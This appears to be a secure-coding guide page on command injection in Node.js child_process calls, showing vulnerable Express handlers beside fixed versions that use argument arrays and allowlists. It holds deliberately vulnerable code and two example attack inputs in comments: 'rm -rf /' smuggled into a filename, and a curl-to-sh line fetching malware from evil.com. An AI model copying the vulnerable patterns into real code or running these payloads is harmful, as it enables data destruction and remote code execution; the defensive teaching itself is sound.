Command Injection from Function Argument Passed to child_process Invocation

Critical Risk command-injection
javascriptcommand-injectionchild-processexecspawnrce

What it is

A critical security vulnerability where untrusted function parameters are used as commands or arguments to child_process exec/spawn without strict validation or with shell execution enabled. Command injection allows attackers to execute arbitrary system commands, leading to complete system compromise.

const { exec, spawn } = require('child_process');

// VULNERABLE: exec() with user input
app.post('/convert', (req, res) => {
  const filename = req.body.filename;
  
  exec(`convert ${filename} output.pdf`, (error, stdout) => {
    if (error) {
      return res.status(500).send('Conversion failed');
    }
    res.send('File converted');
  });
});

// VULNERABLE: spawn() with shell enabled
app.post('/process', (req, res) => {
  const command = req.body.command;
  
  const child = spawn(command, { shell: true });
  
  let output = '';
  child.stdout.on('data', (data) => {
    output += data.toString();
  });
  
  child.on('close', () => {
    res.send(output);
  });
});

// VULNERABLE: execSync with concatenation
const { execSync } = require('child_process');

function backup(directory) {
  const result = execSync(`tar -czf backup.tar.gz ${directory}`);
  return result.toString();
}
const { spawn, execFile } = require('child_process');

// SECURE: spawn() with argument array, no shell
app.post('/convert', (req, res) => {
  const filename = req.body.filename;
  
  // Validate filename
  if (!isValidFilename(filename)) {
    return res.status(400).send('Invalid filename');
  }
  
  const child = spawn('convert', [filename, 'output.pdf']);
  
  child.on('error', (error) => {
    console.error('Process error:', error);
    return res.status(500).send('Conversion failed');
  });
  
  child.on('close', (code) => {
    if (code === 0) {
      res.send('File converted');
    } else {
      res.status(500).send('Conversion failed');
    }
  });
});

function isValidFilename(filename) {
  // Strict allowlist validation
  const pattern = /^[a-zA-Z0-9._-]+\.(jpg|png|gif|pdf)$/;
  return pattern.test(filename) && filename.length <= 255;
}

// SECURE: Allowlist of commands
const ALLOWED_OPERATIONS = {
  'list': ['ls', ['-la']],
  'status': ['git', ['status']],
  'info': ['uname', ['-a']]
};

app.post('/process', (req, res) => {
  const operation = req.body.operation;
  
  if (!ALLOWED_OPERATIONS[operation]) {
    return res.status(400).send('Invalid operation');
  }
  
  const [command, args] = ALLOWED_OPERATIONS[operation];
  
  execFile(command, args, (error, stdout, stderr) => {
    if (error) {
      console.error('Error:', error);
      return res.status(500).send('Operation failed');
    }
    res.send(stdout);
  });
});

💡 Why This Fix Works

The secure version uses spawn() and execFile() with argument arrays instead of string concatenation, disables shell execution, validates all inputs against strict allowlists, and uses predefined command mappings instead of accepting arbitrary commands.

Why it happens

Passing user-controlled data directly to child_process.exec() which executes commands through a shell, enabling command injection via shell metacharacters.

Root causes

Unvalidated User Input to exec()

Passing user-controlled data directly to child_process.exec() which executes commands through a shell, enabling command injection via shell metacharacters.

Preview example – JAVASCRIPT
const { exec } = require('child_process');

// VULNERABLE: User input executed via shell
function processFile(filename) {
  exec(`convert ${filename} output.pdf`, (error, stdout) => {
    console.log(stdout);
  });
}

// Attack: filename = "file.jpg; rm -rf /"

spawn() with shell Option Enabled

Using spawn() with shell:true option creates the same vulnerability as exec(), allowing shell command injection through special characters.

Preview example – JAVASCRIPT
const { spawn } = require('child_process');

// VULNERABLE: Shell enabled with user input
function runCommand(userCommand) {
  const child = spawn(userCommand, { shell: true });
  child.stdout.on('data', (data) => {
    console.log(data.toString());
  });
}

// Attack: userCommand = "ls; curl evil.com/malware | sh"

Fixes

1

Use spawn() with Argument Array (No Shell)

The safest approach is to use spawn() or execFile() with arguments passed as an array and shell:false (default). This prevents shell interpretation of special characters.

View implementation – JAVASCRIPT
const { spawn } = require('child_process');

// SECURE: Arguments as array, no shell
function processFileSafe(filename) {
  // Validate filename first
  if (!isValidFilename(filename)) {
    throw new Error('Invalid filename');
  }
  
  const child = spawn('convert', [filename, 'output.pdf']);
  
  child.stdout.on('data', (data) => {
    console.log(data.toString());
  });
  
  child.on('error', (error) => {
    console.error('Process error:', error);
  });
}

function isValidFilename(filename) {
  const pattern = /^[a-zA-Z0-9._-]+\.(jpg|png|gif)$/;
  return pattern.test(filename);
}
2

Implement Strict Input Validation

When child_process usage is necessary, validate all inputs against strict allowlists. Only permit known-safe characters and reject shell metacharacters.

View implementation – JAVASCRIPT
const { execFile } = require('child_process');

// SECURE: Allowlist validation
const ALLOWED_COMMANDS = new Set(['ls', 'cat', 'grep']);

function executeCommandSafe(command, args) {
  // Validate command against allowlist
  if (!ALLOWED_COMMANDS.has(command)) {
    throw new Error('Command not allowed');
  }
  
  // Validate all arguments
  if (!args.every(arg => isValidArg(arg))) {
    throw new Error('Invalid arguments');
  }
  
  // Use execFile (no shell) with validated inputs
  execFile(command, args, (error, stdout, stderr) => {
    if (error) {
      console.error('Error:', error);
      return;
    }
    console.log(stdout);
  });
}

function isValidArg(arg) {
  // Only allow alphanumeric and safe characters
  return /^[a-zA-Z0-9._/-]+$/.test(arg);
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from function argument passed to child_process invocation and many other security issues in your codebase.